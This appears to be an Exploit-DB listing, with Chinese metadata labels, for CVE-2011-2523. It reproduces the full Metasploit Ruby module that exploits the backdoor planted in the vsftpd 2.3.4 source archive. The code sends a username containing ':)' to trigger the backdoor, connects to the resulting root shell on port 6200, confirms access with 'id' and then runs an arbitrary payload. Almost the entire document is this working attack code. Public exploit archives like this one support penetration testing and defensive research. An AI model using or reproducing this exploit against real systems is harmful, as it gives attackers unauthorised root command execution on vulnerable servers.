标题: vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) EDB-ID: 17491 CVE: 2011-2523 类型: REMOTE 平台: UNIX 发布日期: 2011-07-05 漏洞利用脚本: ##
# $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
   'Description'    => %q{
     This module exploits a malicious backdoor that was added to the VSFTPD download
     archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between
     June 30th 2011 and July 1st 2011 according to the most recent information
     available. This backdoor was removed on July 3rd 2011.
   },
   'Author'         => [ 'hdm', 'mc' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13099 $',
   'References'     =>
    [
     [ 'URL', 'http://pastebin.com/AetT9sS5'],
     [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
    ],
   'Privileged'     => true,
   'Platform'       => [ 'unix' ],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => '',
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType'    => 'cmd_interact',
       'ConnectionType' => 'find'
      }
    },
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'Jul 3 2011',
   'DefaultTarget' => 0))

  register_options([ Opt::RPORT(21) ], self.class)
 end

 def exploit

  nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
  if nsock
   print_status("The port used by the backdoor bind listener is already open")
   handle_backdoor(nsock)
   return
  end

  # Connect to the FTP service port first
  connect

  banner = sock.get_once(-1, 30).to_s
  print_status("Banner: #{banner.strip}")

  sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
  resp = sock.get_once(-1, 30).to_s
  print_status("USER: #{resp.strip}")

  if resp =~ /^530 /
   print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
   disconnect
   return
  end

  if resp !~ /^331 /
   print_error("This server did not respond as expected: #{resp.strip}")
   disconnect
   return
  end

  sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

  # Do not bother reading the response from password, just try the backdoor
  nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
  if nsock
   print_good("Backdoor service has been spawned, handling...")
   handle_backdoor(nsock)
   return
  end

  disconnect

 end

 def handle_backdoor(s)

  s.put("id\n")

  r = s.get_once(-1, 5).to_s
  if r !~ /uid=/
   print_error("The service on port 6200 does not appear to be a shell")
   disconnect(s)
   return
  end

  print_good("UID: #{r.strip}")

  s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
  handler(s)
 end

end URL: https://www.exploit-db.com/exploits/17491